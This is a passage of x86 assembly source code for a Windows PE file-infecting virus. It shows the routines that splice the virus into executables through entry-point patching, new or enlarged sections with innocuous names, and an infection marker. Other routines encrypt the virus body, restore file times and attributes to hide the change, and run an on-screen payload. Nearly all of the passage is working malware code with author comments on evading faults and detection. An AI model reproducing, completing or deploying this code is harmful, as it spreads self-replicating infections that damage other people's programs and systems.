|
||
sub eax, [ebp+lastsectionraw] ;
|
||
add eax, [ebp+lastsectionrva] ;
|
||
call EPO_Routine ;
|
||
jnc set_epo ;
|
||
jmp set_eip ;
|
||
;
|
||
alternate: ;
|
||
mov eax, [ebp+lastsectionrva] ;
|
||
call EPO_Routine ;
|
||
jnc set_epo ;
|
||
jmp set_eip ;
|
||
;
|
||
set_epo: ;
|
||
pusha ;
|
||
mov ebx, [ebp+addressofentrypoint] ;
|
||
mov edx, ebx ;
|
||
add ebx, [ebp+codesectionraw] ;
|
||
sub ebx, [ebp+codesectionrva] ;
|
||
add ebx, [ebp+haddress] ;
|
||
sub eax, edx ;
|
||
sub eax, 5 ;
|
||
mov edx, dword ptr [ebx] ;
|
||
mov ecx, dword ptr [ebx+4] ;
|
||
mov byte ptr [ebx], 0e9h ;
|
||
mov dword ptr [ebx+1], eax ;
|
||
mov eax, [ebp+finaldestination] ;
|
||
add eax, (offset saved_code-offset start) ;
|
||
mov [eax], edx ;
|
||
mov [eax+4], ecx ;
|
||
popa ;
|
||
jmp mark_infection ;
|
||
;
|
||
set_eip: ;
|
||
mov [esi.OH_AddressOfEntryPoint], eax ;address and save eip RVA
|
||
;
|
||
mark_infection: ;
|
||
mov eax, 100d ;get random pythagora's
|
||
call brandom32 ;numbers roots
|
||
mov word ptr [ebp+m], ax ;m
|
||
mov eax, 100d ;
|
||
call brandom32 ;
|
||
mov word ptr [ebp+n], ax ;n
|
||
;
|
||
call InitCopro ;
|
||
fild word ptr [ebp+n] ;load the root numbers
|
||
fild word ptr [ebp+m] ;
|
||
fild word ptr [ebp+n] ;
|
||
fild word ptr [ebp+m] ;
|
||
fmul st, st(2) ;M*M
|
||
fincstp ;
|
||
fmul st, st(2) ;N*N
|
||
fdecstp ;
|
||
fadd st, st(1) ;M*M + N*N
|
||
fist word ptr [ebp+a] ;store it to a
|
||
fsub st, st(1) ;
|
||
fsub st, st(1) ;
|
||
fabs ;|M*M - N*N|
|
||
fist word ptr [ebp+c] ;store it to c
|
||
fincstp ;
|
||
fincstp ;
|
||
fmul ;
|
||
fimul word ptr [ebp+two] ;2*M*N
|
||
fist word ptr [ebp+b] ;store it to b
|
||
call RestoreCopro ;Now a^2 = b^2 + c^2
|
||
add esp, 4 ;
|
||
;
|
||
push esi ;mark infection!
|
||
mov esi, [ebp+haddress] ;
|
||
mov ax, [ebp+a] ;
|
||
mov word ptr [esi.MZ_oeminfo], ax ;
|
||
mov ax, [ebp+b] ;
|
||
pop esi ;
|
||
mov word ptr [esi.OH_MajorImageVersion], ax ;
|
||
mov ax, [ebp+c] ;
|
||
mov word ptr [esi.OH_MinorImageVersion], ax ;
|
||
;
|
||
mov eax, [ebp+sizeofheaders] ;rearrange size of headers
|
||
mov [esi.OH_SizeOfHeaders], eax ;
|
||
;
|
||
mov esi, [ebp+peheader] ;
|
||
;
|
||
cmp [ebp+method], METHOD_INCREASE_LAST ;
|
||
je no_need_to_increase ;
|
||
inc word ptr [esi.NumberOfSections] ;
|
||
;
|
||
no_need_to_increase: ;
|
||
IF CHECKSUM ;
|
||
mov eax, [esi.OH_CheckSum] ;
|
||
or eax, eax ;
|
||
jz no_checksum ;
|
||
;
|
||
mov ebx, [ebp+checksumfile] ;
|
||
or ebx, ebx ;
|
||
jz no_checksum ;
|
||
;
|
||
mov esi, [ebp+optionalheader] ;
|
||
mov eax, [esi.OH_CheckSum] ;
|
||
or eax, eax ;
|
||
jz no_checksum ;
|
||
lea eax, [esi.OH_CheckSum] ;
|
||
push eax ;
|
||
lea eax, [ebp+offset headersum] ;
|
||
push eax ;
|
||
push [ebp+filesize] ;
|
||
push [ebp+haddress] ;
|
||
call ebx ;
|
||
ELSE ;
|
||
mov esi, [ebp+optionalheader] ;
|
||
xor eax, eax ;
|
||
mov [esi.OH_CheckSum], eax ;
|
||
ENDIF ;
|
||
;
|
||
no_checksum: ;
|
||
mov esi, [ebp+finaldestination] ;our internal encryptor
|
||
add esi, (EncryptedArea - start) ;
|
||
mov edi, esi ;
|
||
mov ecx, (end2-EncryptedArea) ;
|
||
;
|
||
EncryptLoop: ;
|
||
lodsb ;
|
||
mov ebx, ecx ;
|
||
inc bl ;
|
||
jp _parity ;
|
||
rol al, cl ;
|
||
jmp do_encrypt ;
|
||
;
|
||
_parity: ;
|
||
ror al, cl ;
|
||
;
|
||
do_encrypt: ;
|
||
stosb ;
|
||
loop EncryptLoop ;
|
||
;
|
||
jmp infection_succesfull ;success!!! ;-)
|
||
;
|
||
m dw 0 ;
|
||
n dw 0 ;
|
||
a dw 0 ;
|
||
b dw 0 ;
|
||
c dw 0 ;
|
||
two dw 2 ;
|
||
;
|
||
move_virus_size: ;this moves as many bytes
|
||
mov ecx, virussize ;as the virus size is..
|
||
rep movsb ;
|
||
ret ;
|
||
;
|
||
|
||
;I found out today a very important thing... Some of the pe files inside
|
||
;the windows directory have a certain particularity that requires special
|
||
;care... That is some of the directories present in the DataDirectory have
|
||
;a RVA that falls inside the code section. This is the case for the
|
||
;Import Address Table (IAT), which for some file occurs at the beginning of
|
||
;the code section. If the virus places itself over that area, than, first of
|
||
;all the running of the original file will be faulted, and second of all, a
|
||
;part of the virus will be overwritten by the system at load and an error
|
||
;will occure for sure. In this situation the virus will check if any of
|
||
;the directories intersects it and if so, will try to get another random
|
||
;place. If it is not possible, the virus will go at end.
|
||
check_intersection: ;
|
||
pusha ;save registers!
|
||
mov edi, esi ;
|
||
add edi, eax ;
|
||
sub edi, [ebp+codesectionraw] ;
|
||
add edi, [ebp+codesectionrva] ;
|
||
;
|
||
mov esi, [ebp+optionalheader] ;
|
||
lea ebx, [esi.OH_DataDirectory] ;
|
||
push ecx ;
|
||
mov ecx, [ebp+numberofrva] ;how many directories?
|
||
mov edx, 0 ;index in directories.
|
||
;
|
||
check_directories: ;
|
||
pusha ;save all again!
|
||
mov esi, [ebx.edx.DD_VirtualAddress] ; x = X (esi)
|
||
or esi, esi ;
|
||
jz ok_next_dir ;
|
||
mov eax, esi ; x+y = Y (eax)
|
||
add eax, [ebx.edx.DD_Size] ;
|
||
;
|
||
mov ebx, edi ; a = A (edi)
|
||
add ebx, virussize ; a+b = B (ebx)
|
||
;
|
||
;We have to check if the interval (X,Y) intersects interval (A,B)
|
||
;
|
||
cmp esi, edi ; X<A?
|
||
jbe YYY1 ;
|
||
ja XXX1 ;
|
||
;
|
||
;
|
||
YYY1: ;
|
||
cmp eax, edi ;Y<A?
|
||
jbe ok_next_dir ;
|
||
jmp Intersect ;
|
||
;
|
||
XXX1: ;
|
||
cmp esi, ebx ;X>B?
|
||
jb Intersect ;
|
||
;
|
||
ok_next_dir: ;
|
||
popa ;
|
||
add edx, 8 ;
|
||
loop check_directories ;
|
||
pop ecx ;
|
||
popa ;
|
||
clc ;
|
||
ret ;
|
||
;
|
||
Intersect: ;
|
||
popa ;
|
||
pop ecx ;
|
||
popa ;
|
||
stc ;
|
||
ret ;
|
||
;
|
||
locate_last_section_stuff: ;
|
||
pusha ;
|
||
;
|
||
mov esi, [ebp+optionalheader] ;
|
||
add esi, [ebp+sizeofoptionalheader] ;
|
||
mov eax, [ebp+numberofsections] ;get number of sections
|
||
;
|
||
push eax esi ;first calculate the
|
||
mov ecx, eax ;
|
||
mov eax, [esi.SH_PointerToRawData] ;
|
||
mov [ebp+lowest_section_raw], eax ;lowest pointer to raw
|
||
xor edx, edx ;
|
||
;
|
||
compare_rva: ;
|
||
add edx, [esi.SH_VirtualSize] ;
|
||
mov eax, [esi.SH_PointerToRawData] ;
|
||
cmp [ebp+lowest_section_raw], eax ;
|
||
jbe next_compare ;
|
||
xchg [ebp+lowest_section_raw], eax ;
|
||
;
|
||
next_compare: ;
|
||
add esi, IMAGE_SIZEOF_SECTION_HEADER ;
|
||
loop compare_rva ;
|
||
;
|
||
; add edx, [ebp+sizeofheaders] ;useless crap...
|
||
; mov [ebp+totalsizes], edx ;
|
||
;
|
||
pop esi eax ;
|
||
;
|
||
dec eax ;go for last
|
||
mov ecx, IMAGE_SIZEOF_SECTION_HEADER ;multiply with the size
|
||
xor edx, edx ;of a section
|
||
mul ecx ;
|
||
add esi, eax ;
|
||
mov [ebp+lastsectionheader], esi ;save pointer to header
|
||
mov eax, [esi.SH_VirtualAddress] ;
|
||
mov [ebp+lastsectionrva], eax ;
|
||
mov eax, [esi.SH_PointerToRawData] ;
|
||
mov [ebp+lastsectionraw], eax ;
|
||
mov eax, [esi.SH_SizeOfRawData] ;choose the smaller of
|
||
mov ebx, [esi.SH_VirtualSize] ;the sizes
|
||
|
||
|
||
; Major fix-up!! Many PE files mark in the section header a value which is
|
||
; much smaller than the real size of the data. The real value gets calculated
|
||
; somehow by the loader, so if we place at the end of one of the sizes we
|
||
; will probably overwrite data, so I will simply place it at the end of
|
||
; the file, even if this means increasing the infected victim.
|
||
;
|
||
; if you want to enable the placing in the last section cavity unmark the
|
||
; following lines:
|
||
;
|
||
; call choose_smaller ;
|
||
; or eax, eax ;if one is zero, try the
|
||
; jnz last_size_ok ;other; if both are 0...
|
||
; xchg eax, ebx ;
|
||
; or eax, eax ;
|
||
; jnz last_size_ok ;
|
||
;
|
||
consider_eof: ;...consider the EOF as
|
||
mov eax, [ebp+filesize] ;the last section dest.
|
||
jmp save_it ;
|
||
;
|
||
last_size_ok: ;if the size is ok, then
|
||
mov ebx, [esi.SH_PointerToRawData] ;retrieve the pointer to
|
||
or ebx, ebx ;raw data. If it is 0
|
||
jz consider_eof ;take eof, otherwise add
|
||
add ebx, eax ;it to obtain the pos.
|
||
xchg ebx, eax ;
|
||
cmp eax, [ebp+filesize] ;if it exceedes the file
|
||
ja consider_eof ;size also consider EOF.
|
||
;
|
||
save_it: ;
|
||
mov [ebp+last_section_destination], eax ;save last section pointer
|
||
mov eax, [esi.SH_VirtualAddress] ;
|
||
mov esi, [ebp+optionalheader] ;
|
||
mov ebx, [esi.OH_DataDirectory.DE_BaseReloc.DD_VirtualAddress]
|
||
cmp eax, ebx ;
|
||
jne not_relocations ;
|
||
mov [ebp+situation], RELOCATIONS_LAST ;
|
||
jmp done_last ;
|
||
;
|
||
not_relocations: ;
|
||
mov ebx, [esi.OH_DataDirectory.DE_Resource.DD_VirtualAddress]
|
||
cmp eax, ebx ;
|
||
jne no_resources ;
|
||
mov [ebp+situation], RESOURCES_LAST ;
|
||
jmp done_last ;
|
||
;
|
||
no_resources: ;
|
||
mov [ebp+situation], WE_ARE_LAST ;
|
||
;
|
||
done_last: ;
|
||
popa ;
|
||
ret ;
|
||
;
|
||
add_new_section: ;
|
||
pusha ;save all
|
||
mov eax, 123h ;choose some random
|
||
call brandom32 ;increasement
|
||
add eax, virussize ;
|
||
mov [ebp+newraw], eax ;save new raw
|
||
call align_to_filealign ;
|
||
mov [ebp+newsize], eax ;save new aligned size
|
||
;
|
||
mov esi, [ebp+optionalheader] ;
|
||
mov ecx, [ebp+numberofrva] ;
|
||
add esi, [ebp+sizeofoptionalheader] ;
|
||
sub esi, 8 ;
|
||
mov eax, 0EEEEEEEEh ;
|
||
;
|
||
choose_smallest_directory_va: ;
|
||
mov ebx, [esi] ;
|
||
or ebx, ebx ;
|
||
jz go_to_next ;
|
||
cmp eax, ebx ;
|
||
ja found_smaller_va ;
|
||
jmp go_to_next ;
|
||
;
|
||
found_smaller_va: ;
|
||
mov eax, ebx ;
|
||
;
|
||
go_to_next: ;
|
||
sub esi, 8 ;
|
||
loop choose_smallest_directory_va ;
|
||
;
|
||
mov [ebp+smallest_dir_va], eax ;
|
||
sub eax, IMAGE_SIZEOF_SECTION_HEADER ;
|
||
add eax, [ebp+haddress] ;
|
||
;
|
||
mov esi, [ebp+lastsectionheader] ;go to last section header
|
||
mov ecx, IMAGE_SIZEOF_SECTION_HEADER ;
|
||
;
|
||
mov ebx, esi ;
|
||
add ebx, ecx ;
|
||
add ebx, ecx ;
|
||
cmp ebx, eax ;
|
||
ja its_not_ok ;
|
||
;
|
||
mov edi, esi ;
|
||
add edi, ecx ;
|
||
mov eax, edi ;can we insert a new
|
||
sub eax, [ebp+haddress] ;section header?
|
||
add eax, IMAGE_SIZEOF_SECTION_HEADER ;
|
||
cmp eax, [ebp+lowest_section_raw] ;
|
||
jb its_ok ;
|
||
;
|
||
its_not_ok: ;
|
||
popa ;
|
||
stc ;
|
||
ret ;
|
||
;
|
||
its_ok: ;
|
||
rep movsb ;and make a copy of it
|
||
;
|
||
mov eax, [ebp+sizeofheaders] ;
|
||
sub edi, [ebp+haddress] ;
|
||
cmp edi, eax ;
|
||
jbe ok_header_size ;
|
||
add eax, IMAGE_SIZEOF_SECTION_HEADER ;
|
||
call align_to_filealign ;
|
||
mov [ebp+sizeofheaders], eax ;
|
||
;
|
||
ok_header_size: ;
|
||
cmp [ebp+situation], WE_ARE_LAST ;are we at end?
|
||
jne not_last ;
|
||
;
|
||
mov esi, [ebp+lastsectionheader] ;if yes, then we
|
||
mov ebx, [esi.SH_VirtualAddress] ;rearrange the last header
|
||
mov eax, [ebp+last_section_destination] ;
|
||
sub eax, [esi.SH_PointerToRawData] ;
|
||
call align_to_filealign ;
|
||
add ebx, eax ;
|
||
add esi, IMAGE_SIZEOF_SECTION_HEADER ;
|
||
mov [esi.SH_VirtualAddress], eax ;
|
||
call set_our_sizes ;and set our sizes
|
||
jmp done_adding ;
|
||
;
|
||
not_last: ;if we are not last, we
|
||
mov eax, [ebp+filesize] ;
|
||
sub eax, [esi.SH_PointerToRawData] ;must rearrange both
|
||
mov ecx, eax ;headers
|
||
mov esi, [esi.SH_PointerToRawData] ;
|
||
mov [ebp+last_section_destination], esi ;
|
||
add esi, [ebp+haddress] ;
|
||
add esi, eax ;
|
||
mov edi, esi ;
|
||
add edi, [ebp+newsize] ;
|
||
std ;
|
||
rep movsb ;and move the last section
|
||
cld ;below our new section
|
||
mov esi, [ebp+lastsectionheader] ;
|
||
call set_our_sizes ;
|
||
mov ebx, [esi.SH_VirtualAddress] ;
|
||
add ebx, [esi.SH_SizeOfRawData] ;
|
||
add esi, IMAGE_SIZEOF_SECTION_HEADER ;
|
||
mov eax, [ebp+newsize] ;
|
||
add [esi.SH_PointerToRawData], eax ;
|
||
mov eax, ebx ;
|
||
call align_to_sectionalign ;
|
||
mov [esi.SH_VirtualAddress], eax ;
|
||
mov esi, [ebp+optionalheader] ;
|
||
;
|
||
cmp [ebp+situation], RESOURCES_LAST ;check if we must fix
|
||
jne then_relocs ;resources
|
||
;
|
||
mov [esi.OH_DataDirectory.DE_Resource.DD_VirtualAddress], ebx
|
||
call RealignResources ;
|
||
jmp done_adding ;
|
||
;
|
||
then_relocs: ;
|
||
mov [esi.OH_DataDirectory.DE_BaseReloc.DD_VirtualAddress], ebx
|
||
call RealignRelocs ;
|
||
jmp done_adding ;
|
||
;
|
||
set_our_sizes: ;
|
||
call set_our_name ;
|
||
mov eax, [ebp+newraw] ;set our new raw size
|
||
mov [esi.SH_VirtualSize], eax ;and our virtual size
|
||
call align_to_filealign ;
|
||
mov [esi.SH_SizeOfRawData], eax ;
|
||
mov [esi.SH_Characteristics], IMAGE_SCN_MEM_WRITE+IMAGE_SCN_MEM_READ+\
|
||
IMAGE_SCN_CNT_INITIALIZED_DATA
|
||
ret ;
|
||
;
|
||
done_adding: ;
|
||
popa ;
|
||
clc ;
|
||
ret ;
|
||
;
|
||
set_our_name: ;
|
||
pusha ;
|
||
push esi ;
|
||
mov esi, [ebp+optionalheader] ;
|
||
add esi, [ebp+sizeofoptionalheader] ;
|
||
mov ecx, [ebp+numberofsections] ;
|
||
mov ebx, section_names_number ;
|
||
;
|
||
compare_names: ;
|
||
push ecx ;
|
||
lea edi, [ebp+section_names] ;
|
||
mov ecx, section_names_number ;
|
||
;
|
||
compare: ;
|
||
inc edi ;
|
||
push ecx esi edi ;
|
||
mov ecx, 8 ;
|
||
rep cmpsb ;
|
||
je mark_it ;
|
||
;
|
||
next_name: ;
|
||
pop edi esi ecx ;
|
||
add edi, 8 ;
|
||
loop compare ;
|
||
jmp next_section ;
|
||
;
|
||
mark_it: ;
|
||
mov byte ptr [edi-9], 0 ;
|
||
dec ebx ;
|
||
pop edi esi ecx ;
|
||
jmp next_section ;
|
||
;
|
||
next_section: ;
|
||
add esi, IMAGE_SIZEOF_SECTION_HEADER ;
|
||
pop ecx ;
|
||
loop compare_names ;
|
||
;
|
||
or ebx, ebx ;
|
||
jz choose_safe ;
|
||
mov eax, ebx ;
|
||
call brandom32 ;
|
||
lea edi, [ebp+section_names] ;
|
||
sub edi, 9 ;
|
||
mov ecx, eax ;
|
||
or ecx, ecx ;
|
||
jnz choose_name ;
|
||
add edi, 9 ;
|
||
jmp done_choosing ;
|
||
;
|
||
choose_name: ;
|
||
add edi, 9 ;
|
||
cmp byte ptr [edi], 1 ;
|
||
je looping ;
|
||
inc ecx ;don't count it
|
||
;
|
||
looping: ;
|
||
loop choose_name ;
|
||
;
|
||
done_choosing: ;
|
||
inc edi ;
|
||
pop esi ;
|
||
xchg esi, edi ;
|
||
mov ecx, 8 ;
|
||
rep movsb ;
|
||
popa ;
|
||
ret ;
|
||
;
|
||
choose_safe: ;
|
||
lea edi, [ebp+safe] ;
|
||
jmp done_choosing ;
|
||
;
|
||
section_names: ;our new section not so
|
||
db 1, "DATA" , 0, 0, 0, 0 ;random name...
|
||
db 1, ".data" , 0, 0, 0 ;
|
||
db 1, ".idata", 0, 0 ;
|
||
db 1, ".udata", 0, 0 ;
|
||
db 1, "BSS" , 0, 0, 0, 0, 0 ;
|
||
db 1, ".rdata", 0, 0 ;
|
||
db 1, ".sdata", 0, 0 ;
|
||
db 1, ".edata", 0, 0 ;
|
||
section_names_number = ($-offset section_names)/9 ;
|
||
safe db 0,0,0,0,0,0,0,0 ;
|
||
;
|
||
increase_last_section: ;
|
||
mov [ebp+method], METHOD_INCREASE_LAST ;
|
||
mov esi, [ebp+lastsectionheader] ;
|
||
mov eax, [ebp+newraw] ;
|
||
add [esi.SH_SizeOfRawData], eax ;
|
||
mov eax, [ebp+newsize] ;
|
||
add [esi.SH_VirtualSize], eax ;
|
||
mov eax, [ebp+last_section_destination] ;
|
||
add eax, [ebp+haddress] ;
|
||
mov [ebp+finaldestination], eax ;
|
||
or [esi.SH_Characteristics], IMAGE_SCN_MEM_WRITE+IMAGE_SCN_MEM_READ
|
||
ret ;
|
||
;
|
||
CalculateDelta:
|
||
mov esi, [ebp+lastsectionheader] ;go to last section
|
||
mov eax, [esi.SH_VirtualAddress] ;and calculate the
|
||
add esi, IMAGE_SIZEOF_SECTION_HEADER ;RVA delta
|
||
sub eax, [esi.SH_VirtualAddress] ;
|
||
neg eax ;
|
||
ret ;
|
||
;
|
||
RealignResources: ;
|
||
call CalculateDelta ;
|
||
mov [ebp+DeltaRVA], eax ;
|
||
mov esi, dword ptr [esi.SH_PointerToRawData]; Point the resources
|
||
add esi, dword ptr [ebp+haddress] ; and align in memo
|
||
mov edi, esi ; save in edi
|
||
add edi, IMAGE_RESOURCE_DIRECTORY_SIZE ; skip resource dir
|
||
call parse_resource_directory ; parse all
|
||
ret ;
|
||
;
|
||
parse_resource_directory: ;
|
||
xor ecx, ecx ;
|
||
mov cx, word ptr [esi.RD_NumberOfNamedEntries]; NamedEntries+IdEntries
|
||
add cx, word ptr [esi.RD_NumberOfIdEntries] ; is our counter
|
||
;
|
||
add esi, IMAGE_RESOURCE_DIRECTORY_SIZE ; skip resource dir
|
||
;
|
||
parse_this_one: ;
|
||
push ecx ; save counter
|
||
push esi ; save address
|
||
call parse_resource ; parse the dir
|
||
pop esi ; restore address
|
||
pop ecx ; restore counter
|
||
add esi, 8 ; get next entry
|
||
loop parse_this_one ; loop until cx=0
|
||
ret ; return
|
||
;
|
||
parse_resource: ;
|
||
mov eax, [esi.RDE_OffsetToData] ; get offset to data
|
||
mov esi, edi ; get base of resorurces
|
||
test eax, 80000000h ; is it a subdirectory?
|
||
jz data_is_resource ;
|
||
;
|
||
data_is_directory: ;
|
||
xor eax, 80000000h ; if it is a subdirectory
|
||
add esi, eax ; find it's address and
|
||
sub esi, 10h ;
|
||
call parse_resource_directory ; go to parse it too...
|
||
ret ;
|
||
;
|
||
data_is_resource: ; if it is data, then
|
||
add esi, eax ; find out it's address
|
||
sub esi, 10h ;
|
||
mov eax, dword ptr [ebp+DeltaRVA] ; and increment the offs
|
||
add dword ptr [esi.REDE_OffsetToData], eax ; to data with our Delta
|
||
ret ; and ret...
|
||
;
|
||
RealignRelocs: ;
|
||
ret ;
|
||
;
|
||
infection_succesfull: ;
|
||
mov [ebp+flag], 0 ;mark good infection
|
||
;
|
||
close_address: ;
|
||
call [ebp+_UnmapViewOfFile], [ebp+haddress] ;unmap view
|
||
;
|
||
close_map: ;
|
||
call [ebp+_CloseHandle], [ebp+hmap] ;close map object
|
||
;
|
||
close_file: ;
|
||
call [ebp+_SetFilePointer], [ebp+hfile], [ebp+filesize], 0, FILE_BEGIN
|
||
call [ebp+_SetEndOfFile], [ebp+hfile] ;set EOF
|
||
lea ebx, [ebp+filetime1] ;restore the file time
|
||
push ebx ;
|
||
add ebx, 8 ;
|
||
push ebx ;
|
||
add ebx, 8 ;
|
||
push ebx ;
|
||
push [ebp+hfile] ;
|
||
call [ebp+_SetFileTime] ;restore file time
|
||
call [ebp+_CloseHandle], [ebp+hfile] ;close file
|
||
;
|
||
finished: ;
|
||
call [ebp+_SetFileAttributesA], [ebp+filename], [ebp+fileattributes]
|
||
cmp [ebp+flag], 0 ;restore attributes
|
||
je succesfull_infection ;
|
||
;
|
||
failed_infection: ;
|
||
mov [ebp+fileopen], FALSE ;
|
||
popa ;
|
||
stc ;
|
||
ret ;
|
||
;
|
||
succesfull_infection: ;
|
||
mov [ebp+fileopen], FALSE ;
|
||
popa ;
|
||
clc ;
|
||
ret ;
|
||
;
|
||
choose_smaller: ;
|
||
cmp eax, ebx ;
|
||
ja get_ebx ;
|
||
ret ;
|
||
;
|
||
get_ebx: ;
|
||
xchg eax, ebx ;
|
||
ret ;
|
||
;
|
||
align_to_filealign: ;here are the aligning
|
||
mov ecx, [ebp+filealign] ;procedures
|
||
jmp align_eax ;
|
||
;
|
||
align_to_sectionalign: ;
|
||
mov ecx, [ebp+sectionalign] ;
|
||
;
|
||
align_eax: ;
|
||
push edx ;
|
||
xor edx, edx ;
|
||
div ecx ;
|
||
or edx, edx ;
|
||
jz $+3 ;
|
||
inc eax ;
|
||
mul ecx ;
|
||
pop edx ;
|
||
ret ;
|
||
;
|
||
InfectFile endp ;
|
||
;
|
||
fileattributes dd 0 ;
|
||
filesize dd 0 ;
|
||
filetime1 dq 0 ;
|
||
filetime2 dq 0 ;
|
||
filetime3 dq 0 ;
|
||
hfile dd 0 ;
|
||
hmap dd 0 ;
|
||
haddress dd 0 ;
|
||
flag dd 0 ;
|
||
additional dd 0 ;
|
||
peheader dd 0 ;
|
||
lastsectionheader dd 0 ;
|
||
last_section_destination dd 0 ;
|
||
codesectionraw dd 0 ;
|
||
codesectionheader dd 0 ;
|
||
finaldestination dd 0 ;
|
||
method dd 0 ;
|
||
pedata label ;
|
||
numberofsections dd 0 ; stored as dword!!
|
||
sizeofoptionalheader dd 0 ; stored as dword!!
|
||
addressofentrypoint dd 0 ;
|
||
_imagebase dd 0 ;
|
||
sectionalign dd 0 ;
|
||
filealign dd 0 ;
|
||
sizeofimage dd 0 ;
|
||
sizeofheaders dd 0 ;
|
||
checksum dd 0 ;
|
||
numberofrva dd 0 ;
|
||
baseofcode dd 0 ;
|
||
codesection dd 0 ;
|
||
codesectionsize dd 0 ;
|
||
lastsection dd 0 ;
|
||
lastsectionsize dd 0 ;
|
||
increasement dd 0 ;
|
||
codedelta dd 0 ;
|
||
optionalheader dd 0 ;
|
||
filename dd 0 ;
|
||
copying db 0 ;
|
||
lastsectionraw dd 0 ;
|
||
lastsectionrva dd 0 ;
|
||
codesectionrva dd 0 ;
|
||
codesource dd 0 ;
|
||
codedestin dd 0 ;
|
||
PayloadThreadID dd 0 ;
|
||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ;
|
||
;³ ÜÜÜ ÜÜÜ Ü Ü Ü ÜÜÜ ÜÜÜ ÜÜ ;
|
||
;³ ÛÜÛ ÛÜÛ ÛÜÛ Û Û Û ÛÜÛ Û Û ;
|
||
;³ Û Û Û Û ÛÜÜ ÛÜÛ Û Û ÛÜß ;
|
||
;³ ;
|
||
;
|
||
DoPayload: ;
|
||
cmp [ebp+firstgen], 1 ;
|
||
jne do_it_now ;
|
||
ret ;
|
||
do_it_now: ;
|
||
pusha ;
|
||
lea esi, [ebp+text_start] ;
|
||
mov ecx, list_len ;
|
||
call not_list ;
|
||
;
|
||
lea eax, [ebp+text_start] ;
|
||
mov [ebp+current], eax ;
|
||
call [ebp+_GetDC], 0 ;
|
||
mov [ebp+hdc], eax ;
|
||
lea ebx, [ebp+offset chars] ;
|
||
call [ebp+_GetCharWidthA], eax, "A", "Z", ebx
|
||
lea ebx, [ebp+offset textmetric] ;
|
||
call [ebp+_GetTextMetricsA], [ebp+hdc], ebx ;
|
||
call [ebp+_GetSystemMetrics], SM_CXFULLSCREEN
|
||
mov [ebp+xmax], eax ;
|
||
call [ebp+_GetSystemMetrics], SM_CYFULLSCREEN
|
||
mov [ebp+ymax], eax ;
|
||
;
|
||
xor eax, eax ;
|
||
mov ax, [ebp+textmetric.tmHeight] ;
|
||
add ax, [ebp+textmetric.tmAscent] ;
|
||
add ax, [ebp+textmetric.tmDescent] ;
|
||
shl eax, 1 ;
|
||
mov [ebp+ylength], eax ;
|
||
;
|
||
new_window: ;
|
||
mov edi, [ebp+current] ;
|
||
call [ebp+_lstrlen], edi ;
|
||
add edi, eax ;
|
||
inc edi ;
|
||
push eax ;
|
||
call [ebp+_lstrlen], edi ;
|
||
mov edi, [ebp+current] ;
|
||
cmp eax, [esp] ;
|
||
jb ok_len ;
|
||
add edi, [esp] ;
|
||
inc edi ;
|
||
xchg eax, [esp] ;
|
||
;
|
||
ok_len: ;
|
||
pop ecx ;
|
||
;
|
||
lea esi, [ebp+chars] ;
|
||
xchg edi, esi ;
|
||
mov [ebp+xlength], 0 ;
|
||
xor eax, eax ;
|
||
;
|
||
calculate_length: ;
|
||
lodsb ;
|
||
cmp al, "A" ;
|
||
jnb do_Z ;
|
||
;
|
||
estimate: ;
|
||
xor ebx, ebx ;
|
||
mov bx, [ebp+textmetric.tmAveCharWidth] ;
|
||
inc ebx ;
|
||
jmp compute ;
|
||
;
|
||
do_Z: cmp al, "Z" ;
|
||
jna do_chars ;
|
||
jmp estimate ;
|
||
;
|
||
do_chars: ;
|
||
sub eax, "A" ;
|
||
mov ebx, [edi+eax*4] ;
|
||
inc ebx ;
|
||
;
|
||
compute: ;
|
||
add [ebp+xlength], ebx ;
|
||
loop calculate_length ;
|
||
;
|
||
call [ebp+_GetModuleHandleA], 0 ; get our handle
|
||
mov [ebp+hInst], eax ; save it
|
||
;
|
||
mov [ebp+wc.wcxStyle], CS_HREDRAW+CS_VREDRAW+\;window style
|
||
CS_GLOBALCLASS+CS_NOCLOSE
|
||
lea eax, [ebp+offset WndProc] ;
|
||
mov [ebp+wc.wcxWndProc], eax ; window procedure
|
||
mov [ebp+wc.wcxClsExtra], 0 ; -
|
||
mov [ebp+wc.wcxWndExtra], 0 ; -
|
||
mov eax, [ebp+hInst] ;
|
||
mov [ebp+wc.wcxInstance], eax ; instance (handle)
|
||
;
|
||
call [ebp+_LoadIconA], [ebp+hInst], IDI_APPLICATION ; load our icon
|
||
mov [ebp+ourhIcon], eax ;
|
||
mov [ebp+wc.wcxIcon], eax ;
|
||
mov [ebp+wc.wcxSmallIcon], eax ;
|
||
;
|
||
call [ebp+_LoadCursorA], 0, IDC_ARROW ; load out cursor
|
||
mov [ebp+wc.wcxCursor], eax ;
|
||
;
|
||
mov [ebp+wc.wcxBkgndBrush], COLOR_WINDOW+1 ;
|
||
mov dword ptr [ebp+wc.wcxMenuName], NULL ; menu
|
||
lea eax, [ebp+szClassName] ;
|
||
mov dword ptr [ebp+wc.wcxClassName], eax ; class name
|
||
;
|
||
lea eax, [ebp+offset wc] ;
|
||
call [ebp+_RegisterClassExA], eax ; register the class!
|
||
;
|
||
mov eax, [ebp+xmax] ;
|
||
sub eax, [ebp+xlength] ;
|
||
call brandom32 ;
|
||
mov [ebp+xpos], eax ;
|
||
;
|
||
mov eax, [ebp+ymax] ;
|
||
sub eax, [ebp+ylength] ;
|
||
call brandom32 ;
|
||
mov [ebp+ypos], eax ;
|
||
;
|
||
lea eax, [ebp+offset szClassName] ;
|
||
lea ebx, [ebp+offset szTitleName] ;
|
||
call [ebp+_CreateWindowExA],ExtendedStyle,\; Create the Window!
|
||
eax,\ ;
|
||
ebx,\ ;
|
||
DefaultStyle,\ ;
|
||
[ebp+xpos],\ ;
|
||
[ebp+ypos],\ ;
|
||
[ebp+xlength],\ ;
|
||
[ebp+ylength],\ ;
|
||
0,\ ;
|
||
0,\ ;
|
||
[ebp+hInst],\ ;
|
||
0 ;
|
||
;
|
||
mov [ebp+newhwnd], eax ; save handle
|
||
;
|
||
call [ebp+_UpdateWindow], dword ptr [ebp+newhwnd]; and update it...
|
||
call [ebp+_InvalidateRect], dword ptr [ebp+newhwnd], 0, 0
|
||
;
|
||
msg_loop: ;
|
||
lea eax, [ebp+offset msg] ;
|
||
call [ebp+_GetMessageA], eax, 0, 0, 0 ; get a message
|
||
;
|
||
or ax, ax ; finish?
|
||
jz end_loop ;
|
||
;
|
||
lea eax, [ebp+offset msg] ;
|
||
call [ebp+_TranslateMessage], eax ; translate message
|
||
;
|
||
